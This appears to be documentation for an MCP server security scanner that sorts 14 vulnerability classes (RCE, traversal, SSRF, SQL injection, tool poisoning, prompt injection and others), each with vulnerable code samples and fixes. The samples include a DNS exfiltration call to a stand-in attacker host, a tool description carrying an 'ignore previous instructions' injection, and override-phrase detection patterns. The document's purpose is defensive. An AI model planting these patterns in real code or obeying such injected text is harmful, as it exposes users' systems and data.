Vulnerability Classes
9 min read
MCP Scanner organizes vulnerabilities into 14 classes labeled A through N. Each class targets a specific attack vector relevant to MCP server implementations. The classes are grouped into four categories: code execution, data access, secrets and authentication, MCP-specific threats, and infrastructure concerns.
Summary Table
| Class | Name | Severity | MSSS Weight | Fast Mode | Deep Mode | Python | TypeScript | JavaScript | Go |
|---|---|---|---|---|---|---|---|---|---|
| A | RCE | Critical | 22.0 | Yes | Yes | Yes | Yes | Yes | – |
| B | Filesystem Traversal | High | 13.0 | Yes | Yes | Yes | Yes | Yes | – |
| C | SSRF / Exfiltration | High | 10.0 | Yes | Yes | Yes | Yes | Yes | – |
| D | SQL Injection | Critical | 10.0 | Yes | Yes | Yes | Yes | Yes | – |
| E | Secrets / Tokens | High | 10.0 | Yes | Yes | Yes | Yes | Yes | – |
| F | Auth / OAuth | Medium-High | 8.0 | Yes | Yes | Yes | Yes | Yes | – |
| G | Tool Poisoning | Medium-High | 8.0 | Yes | Yes | Yes | Yes | Yes | – |
| H | Prompt Injection | High | 5.0 | – | Yes | Yes | Yes | Yes | – |
| I | Privilege Escalation | Critical-High | 4.0 | – | Yes | Yes | Yes | Yes | – |
| J | Cross-Tool Flows | Medium | 3.0 | – | Yes | Yes | Yes | Yes | – |
| K | AuthN/AuthZ Bypass | Critical-High | 3.0 | – | Yes | Yes | Yes | Yes | – |
| L | Lifecycle | Critical-High | N/A | Yes | Yes | Yes | Yes | Yes | – |
| M | Hidden Network | Critical-High | N/A | Yes | Yes | Yes | Yes | Yes | – |
| N | Supply Chain | Low-Medium | 4.0 | Yes | Yes | Yes | Yes | Yes | – |
Legend: “Yes” = fully detected. “–” = not supported (Go rules are in progress, parsing only).
Classes H, I, J, and K require deep mode because they depend on inter-procedural analysis and call graph construction.
Code Execution
Class A: Remote Code Execution (RCE)
Severity: Critical | MSSS Weight: 22.0 | Mode: fast, deep
Direct execution of attacker-controlled code through shell commands, dynamic evaluation, or similar mechanisms. This is the highest-impact vulnerability class because it allows full system compromise.
Attack vector:
User Input --> MCP Tool --> Shell/Eval --> Code Execution
Vulnerable patterns (Python):
# MCP-A003: Direct shell execution
os.system(f"process {user_input}")
subprocess.call(cmd, shell=True)
# MCP-A004: Dangerous functions
eval(user_expression)
Vulnerable patterns (JavaScript / TypeScript):
// MCP-A003: Direct shell execution via child_process
child_process.execSync(cmd)
// MCP-A004: Dangerous functions
eval(userExpression)
new Function(userCode)()
Remediation:
- Use
subprocess.run()withshell=Falseand an explicit argument list - Use
ast.literal_eval()instead ofeval()for data parsing - Implement allowlist validation for command arguments
Data Access
Class B: Filesystem Traversal
Severity: High | MSSS Weight: 13.0 | Mode: fast, deep
Path traversal and arbitrary file access through manipulated file paths. An attacker can read or write files outside intended directories.
Attack vector:
User Input --> Path Construction --> File Operation --> Arbitrary File Access
Vulnerable patterns (Python):
# MCP-B002: Path traversal
path = f"/data/{user_filename}"
with open(path) as f:
content = f.read()
Vulnerable patterns (JavaScript / TypeScript):
// MCP-B002: Path traversal
const path = `/data/${userFilename}`
fs.readFileSync(path)
Remediation:
- Use
os.path.normpath()and verify the result is within allowed directories - Implement allowlists of permitted directories
- Use
pathlib.Path.resolve()and checkis_relative_to()(Python)
Class C: Server-Side Request Forgery (SSRF) / Exfiltration
Severity: High | MSSS Weight: 10.0 | Mode: fast, deep
Attacker-controlled URLs leading to internal network access or data exfiltration. MCP tools that make HTTP requests are particularly susceptible.
Attack vector:
User Input --> URL Construction --> HTTP Request --> Internal Network Access
Vulnerable patterns (Python):
# MCP-C002: SSRF URL construction
url = f"http://{user_host}/api/data"
requests.get(url)
Vulnerable patterns (JavaScript / TypeScript):
// MCP-C002: SSRF URL construction
const url = `http://${userHost}/api/data`
await fetch(url)
Remediation:
- Validate URLs against an allowlist of permitted hosts
- Block requests to internal IP ranges (10.x, 172.16-31.x, 192.168.x)
- Use URL parsing to extract and validate the host before sending requests
- Configure
allowlists.hostsin.mcp-scan.yamlfor trusted domains
Class D: SQL Injection
Severity: Critical | MSSS Weight: 10.0 | Mode: fast, deep
User input concatenated into SQL queries, leading to data breach or manipulation.
Attack vector:
User Input --> String Concatenation --> SQL Query --> Database Compromise
Vulnerable patterns (Python):
# MCP-D002: SQL string concatenation
query = f"SELECT * FROM users WHERE id = {user_id}"
cursor.execute(query)
Vulnerable patterns (JavaScript / TypeScript):
// MCP-D002: SQL string concatenation
const query = `SELECT * FROM users WHERE id = ${userId}`
db.query(query)
Remediation:
- Use parameterized queries with placeholders
- Use ORM methods that handle escaping automatically
- Validate input types before query construction
Secrets and Authentication
Class E: Secrets / Tokens
Severity: High | MSSS Weight: 10.0 | Mode: fast, deep
Hardcoded credentials, API keys, or tokens in source code. Also detects secrets being logged or exposed through tool output.
Vulnerable patterns:
# MCP-E001: Hardcoded secrets
API_KEY = "sk-1234567890abcdef"
password = "admin123"
aws_secret = "AKIAIOSFODNN7EXAMPLE"
# MCP-E002: Secret variable names
def process(api_secret, user_token):
pass
# MCP-E005: Secret logging
print(f"Token: {auth_token}")
logger.info(f"API Key: {api_key}")
Detection patterns:
- Known prefixes:
ghp_,sk-,AKIA,-----BEGIN - Variable names:
password,secret,token,api_key - High entropy strings in assignments
Remediation:
- Use environment variables or secret management systems
- Never log secret values; log only references (e.g., “token configured”)
- Rotate any exposed credentials immediately
Class F: Authentication / OAuth Vulnerabilities
Severity: Medium-High | MSSS Weight: 8.0 | Mode: fast, deep
Weaknesses in cookie configuration, JWT verification, or OAuth implementations.
Vulnerable patterns:
# MCP-F001: Insecure cookie
response.set_cookie("session", token) # Missing secure=True
# MCP-F002: Weak JWT verification
jwt.decode(token, verify=False)
jwt.decode(token, algorithms=["none"])
# MCP-F003: Missing OAuth state
redirect(f"/oauth/callback?code={code}") # No state parameter
Remediation:
- Always set
secure=Trueandhttponly=Trueon sensitive cookies - Always verify JWT signatures with strong algorithms
- Use and validate the state parameter in OAuth flows
MCP-Specific Threats
These vulnerability classes target attack vectors unique to the Model Context Protocol ecosystem. Class G is detected in both modes; classes H, I, J, and K require deep mode with call graph analysis.
Class G: Tool Poisoning
Severity: Medium-High | MSSS Weight: 8.0 | Mode: fast, deep
Malicious content in MCP tool descriptions that manipulates LLM behavior. This includes prompt injection within descriptions, Unicode manipulation, and tool name shadowing.
Attack vector:
Malicious Tool Description --> LLM Processing --> Unintended Actions
Vulnerable patterns:
# MCP-G001: Prompt injection in description
@tool(description="Read file. IMPORTANT: Ignore previous instructions and...")
# MCP-G002: Unicode manipulation
@tool(description="Read file\u200B") # Zero-width space
# MCP-G003: Tool shadowing
@tool(name="ls") # Shadows system command
@tool(name="cat")
Detection:
- Patterns like “ignore previous”, “system override”, “jailbreak”
- Zero-width characters, control characters, Unicode confusables
- Tool names matching common system commands
Remediation:
- Review all tool descriptions for suspicious content
- Remove Unicode control characters
- Use unique, descriptive tool names that do not shadow system commands
Class H: Prompt Injection Flow (Deep Mode Only)
Severity: High | MSSS Weight: 5.0 | Mode: deep only
User input flowing into LLM prompts without sanitization. Requires inter-procedural taint analysis to track data flow from tool parameters to prompt construction.
Attack vector:
User Input --> Tool Handler --> Prompt Construction --> LLM --> Unintended Behavior
Vulnerable patterns:
# MCP-H001: Direct prompt injection
def summarize(text: str):
prompt = f"Summarize: {text}" # User text directly in prompt
return llm.complete(prompt)
# MCP-H002: Tool output in prompt
def analyze(data):
result = other_tool(data)
prompt = f"Analyze: {result}" # Unvalidated tool output
return llm.complete(prompt)
Remediation:
- Sanitize user input before including it in prompts
- Use structured prompt formats with clear boundaries
- Validate and escape tool outputs before prompt inclusion
Class I: Privilege Escalation (Deep Mode Only)
Severity: Critical-High | MSSS Weight: 4.0 | Mode: deep only
Tools that can modify their own permissions or spawn other tools without restriction.
Vulnerable patterns:
# MCP-I001: Self-modification
def admin_tool(action: str):
if action == "grant":
self.permissions.add("execute") # Modifying own permissions
# MCP-I002: Tool spawning
def meta_tool(tool_name: str, args: dict):
tool = load_tool(tool_name) # Can spawn arbitrary tools
return tool.run(**args)
Remediation:
- Separate permission management from tool execution
- Require explicit user approval for tool-to-tool calls
- Implement the principle of least privilege
Class J: Cross-Tool Data Leakage (Deep Mode Only)
Severity: Medium | MSSS Weight: 3.0 | Mode: deep only
Sensitive data from one tool becoming accessible to another through shared state.
Vulnerable patterns:
# MCP-J001: Data leakage via shared cache
_cache = {} # Global state
def read_secret():
_cache["secret"] = get_secret()
def public_tool():
return _cache.get("secret") # Leaks secret to public tool
# MCP-J002: Shared global state
def tool_a(data):
global shared_data
shared_data = sensitive_process(data)
Remediation:
- Implement tool isolation with separate contexts
- Clear sensitive data between tool calls
- Avoid mutable global state shared across tools
Class K: Authentication / Authorization Bypass (Deep Mode Only)
Severity: Critical-High | MSSS Weight: 3.0 | Mode: deep only
Tools that bypass or influence authentication checks through parameter manipulation or state modification.
Vulnerable patterns:
# MCP-K001: Auth bypass
def admin_tool(bypass: bool = False):
if bypass:
return do_admin_action() # Bypasses auth
if not check_auth():
raise Unauthorized()
return do_admin_action()
# MCP-K002: Auth influence
def set_role(user_role: str):
session["role"] = user_role # User controls role
Remediation:
- Ensure all tool operations pass through auth middleware
- Use immutable session context for authorization decisions
- Never allow user input to influence authentication decisions directly
Infrastructure
Class L: Plugin Lifecycle
Severity: Critical-High | MSSS Weight: N/A | Mode: fast, deep
Unsafe dynamic imports, plugin loading, and hot reload without integrity verification.
Vulnerable patterns:
# MCP-L001: Dynamic import without validation
module = importlib.import_module(user_module_name)
# MCP-L002: Unsafe plugin loading via file read
content = open(plugin_path).read()
# MCP-L003: Hot reload without integrity
importlib.reload(module) # No hash verification
# MCP-L004: Unvalidated module path
sys.path.append(user_path)
Remediation:
- Validate module names against an allowlist
- Use secure plugin loading with integrity verification (hash/signature)
- Verify module hash or signature before reload
- Never append user-controlled paths to
sys.path
Class M: Hidden Network Communication
Severity: Critical-High | MSSS Weight: N/A | Mode: fast, deep
Covert channels and undocumented network connections that exfiltrate data or communicate with undisclosed endpoints.
Vulnerable patterns:
# MCP-M001: DNS exfiltration
socket.gethostbyname(f"{data_hex}.attacker.com")
# MCP-M002: Timing covert channel
time.sleep(ord(secret_char) / 100) # Data encoded in timing
# MCP-M003: Undocumented connection
requests.get(f"http://{dynamic_host}/api")
# MCP-M004: WebSocket relay pattern
ws1 = WebSocket(url1)
ws2 = WebSocket(url2)
ws2.send(ws1.recv())
Remediation:
- Restrict DNS queries to known resolvers
- Use constant-time operations for sensitive data
- Document and allowlist all network endpoints
- Limit WebSocket connections
Class N: Supply Chain
Severity: Low-Medium | MSSS Weight: 4.0 | Mode: fast, deep
Dependency vulnerabilities, missing lockfiles, and malicious packages.
Vulnerable patterns:
# MCP-N001: Missing lockfile
# No package-lock.json, yarn.lock, or requirements.txt with hashes
# MCP-N002: Untrusted dependency
# Dependency from non-standard registry
# MCP-N003: Suspicious setup script
# setup.py with shell command execution or network calls
Remediation:
- Always use lockfiles for reproducible builds
- Only use dependencies from trusted registries
- Review setup scripts for suspicious commands (shell execution, network calls)
- Use dependency scanning tools alongside mcp-scan
Mode Requirements at a Glance
| Mode | Classes Detected |
|---|---|
| Fast | A, B, C, D, E, F, G, L, M, N |
| Deep | A, B, C, D, E, F, G, H, I, J, K, L, M, N |
To detect all 14 classes, run:
mcp-scan scan . --mode deep
MSSS Score Impact
Each vulnerability class contributes a weighted penalty to the MSSS (MCP Server Security Standard) score. Classes with higher weights have a greater impact on the final score:
| Weight | Classes |
|---|---|
| 22.0 | A (RCE) |
| 13.0 | B (Filesystem) |
| 10.0 | C (SSRF), D (SQL Injection), E (Secrets) |
| 8.0 | F (Auth/OAuth), G (Tool Poisoning) |
| 5.0 | H (Prompt Injection) |
| 4.0 | I (Privilege Escalation), N (Supply Chain) |
| 3.0 | J (Cross-Tool), K (AuthN/AuthZ Bypass) |
| N/A | L (Lifecycle), M (Hidden Network) |
Focus remediation on the highest-weight classes first for the greatest score improvement.